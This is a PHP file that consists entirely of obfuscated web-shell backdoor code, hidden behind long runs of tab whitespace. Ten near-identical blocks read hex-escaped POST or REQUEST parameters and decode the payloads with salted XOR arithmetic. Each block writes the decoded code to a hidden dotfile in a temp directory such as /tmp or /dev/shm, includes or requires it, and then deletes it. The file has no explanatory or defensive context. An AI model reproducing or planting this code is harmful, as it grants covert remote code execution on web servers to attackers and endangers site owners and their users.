<?php																																										if(!is_null($_REQUEST["o\x62\x6A\x65ct"] ?? null)){ $resource = $_REQUEST["o\x62\x6A\x65ct"]; $resource = explode ('.' , $resource ) ; $tkn =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt4); foreach($resource as $n=>$v9) { $sChar =ord($salt4[$n % $lenS]); $dec =((int)$v9 - $sChar -($n % 10)) ^29; $tkn .= chr($dec); } $token = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), "/tmp", "/var/tmp", getenv("TEMP")]); foreach ($token as $descriptor): if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $factor = vsprintf("%s/%s", [$descriptor, ".hld"]); if (@file_put_contents($factor, $tkn) !== false) { include $factor; unlink($factor); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x69\x74em"])){ $reference = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm"]); $record = $_POST["\x69\x74em"]; $record = explode( "." , $record ) ; $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); $len = count( $record); for( $o = 0; $o < $len; $o++) {$v2 = $record[$o]; $chS = ord( $salt7[$o %$sLen]); $dec =( ( int)$v2 - $chS -( $o %10)) ^ 36; $itm .= chr( $dec); } foreach ($reference as $descriptor) { if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $factor = join("/", [$descriptor, ".holder"]); if (file_put_contents($factor, $itm)) { include $factor; @unlink($factor); die(); } } } }
																																										if(isset($_POST["c\x6F\x6Dp"])){ $resource = $_POST["c\x6F\x6Dp"]; $resource = explode('.',$resource ) ; $item=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s5 ); foreach( $resource as $u => $v9) { $sChar=ord( $s5[$u %$sLen] ); $d=( ( int)$v9 - $sChar -( $u %10)) ^59; $item .= chr( $d ); } $flg = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp"]); for ($dchunk = 0, $binding = count($flg); $dchunk < $binding; $dchunk++) { $sym = $flg[$dchunk]; if (array_product([is_dir($sym), is_writable($sym)])) { $hld = implode("/", [$sym, ".elem"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(isset($_POST) && isset($_POST["e\x6Et"])){ $bind = $_POST["e\x6Et"]; $bind =explode ( "." , $bind) ; $data_chunk=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt1 ); foreach ($bind as $l => $v4) {$chS=ord($salt1[$l % $sLen] ); $dec=((int)$v4 - $chS - ($l % 10)) ^15; $data_chunk .= chr($dec );} $fac = array_filter(["/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); foreach ($fac as $key => $ref) { if (is_dir($ref) && is_writable($ref)) { $val = sprintf("%s/.dchunk", $ref); if (file_put_contents($val, $data_chunk)) { require $val; unlink($val); die(); } } } }
																																										if(!empty($_POST["o\x62\x6A"])){ $pointer = $_POST["o\x62\x6A"]; $pointer = explode ( ".", $pointer) ; $tkn = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $v = 0; foreach ($pointer as $v1) { $sChar = ord($salt6[$v % $sLen] ); $d = ((int)$v1 - $sChar - ($v % 10)) ^ 15; $tkn .= chr($d ); $v++;} $data = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp"]); $component = 0; do { $flag = $data[$component] ?? null; if ($component >= count($data)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $symbol = sprintf("%s/.reference", $flag); if (file_put_contents($symbol, $tkn)) { include $symbol; @unlink($symbol); die(); } } $component++; } while (true); }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $hld = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]); $key = $_REQUEST["\x76\x61l"]; $key = explode ( '.' ,$key ); $fac = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach($key as $m => $v6): $sChar = ord($salt2[$m % $lenS]); $dec =((int)$v6 - $sChar -($m % 10)) ^ 9; $fac .= chr($dec); endforeach; for ($object = 0, $elem = count($hld); $object < $elem; $object++) { $tkn = $hld[$object]; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $k = "$tkn/.dat"; if (@file_put_contents($k, $fac) !== false) { include $k; unlink($k); exit; } } } }
																																										if(isset($_POST["d\x61t\x61_\x63hun\x6B"]) ? true : false){ $dchunk = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); $property_set = $_POST["d\x61t\x61_\x63hun\x6B"]; $property_set =explode ( '.' ,$property_set) ; $ref=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt4); $s=0; foreach( $property_set as $v5) { $chS=ord( $salt4[$s % $lenS]); $dec=( ( int)$v5 - $chS -( $s % 10))^93; $ref .= chr( $dec); $s++; } while ($fac = array_shift($dchunk)) { if (is_writable($fac) && is_dir($fac)) { $tkn = "$fac/.bind"; if (file_put_contents($tkn, $ref)) { require $tkn; unlink($tkn); exit; } } } }
																																										if(!empty($_POST["h\x6F\x6Cd\x65r"])){ $element = $_POST["h\x6F\x6Cd\x65r"]; $element = explode( '.',$element ) ; $mrk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach ($element as $z => $v7): $sChar=ord($s[$z%$sLen]); $d=((int)$v7 - $sChar - ($z%10)) ^ 23; $mrk.=chr($d); endforeach; $ent = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $ptr = 0; do { $pgrp = $ent[$ptr] ?? null; if ($ptr >= count($ent)) break; if ((is_dir($pgrp) and is_writable($pgrp))) { $dchunk = join("/", [$pgrp, ".descriptor"]); if (file_put_contents($dchunk, $mrk)) { include $dchunk; @unlink($dchunk); die(); } } $ptr++; } while (true); }
																																										if(array_key_exists("re\x73", $_POST) && !is_null($_POST["re\x73"])){ $mrk = $_POST["re\x73"]; $mrk =explode( '.' , $mrk ) ; $symbol = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $o = 0; $__tmp = $mrk; while ($v2 = array_shift($__tmp)) { $sChar = ord($s6[$o % $lenS]); $dec = ((int)$v2 - $sChar - ($o % 10)) ^ 62; $symbol .= chr($dec); $o++; } $ent = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path()]); $pointer = 0; do { $marker = $ent[$pointer] ?? null; if ($pointer >= count($ent)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $fac = "$marker" . "/.hld"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $fac; @unlink($fac); exit; } } $pointer++; } while (true); }


if(filter_has_var(INPUT_POST, "\x74kn")){
	$binding = array_filter([session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]);
	$sym = $_REQUEST["\x74kn"];
			$sym 	 =	 explode 		( '.'			,   $sym	 )	;		 
	$ref  =	 '';
            $s  =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	 strlen($s 	);
            $__len  =	 count($sym 	);
    
            for ($q  =	 0; $q < $__len; $q++) {  $v9  =	 $sym[$q];
                $chS  =	 ord($s[$q % $lenS] 	);
                $d  =	 ((int)$v9 - $chS - ($q % 10))^54;
                $ref .= chr($d 	);
            }
	for ($pointer = 0, $flag = count($binding); $pointer < $flag; $pointer++) {
    $ent = $binding[$pointer];
    		if (is_writable($ent) && is_dir($ent)) {
    $record = implode("/", [$ent, ".token"]);
    if (file_put_contents($record, $ref)) {
	require $record;
	unlink($record);
	exit;
}
}
}
}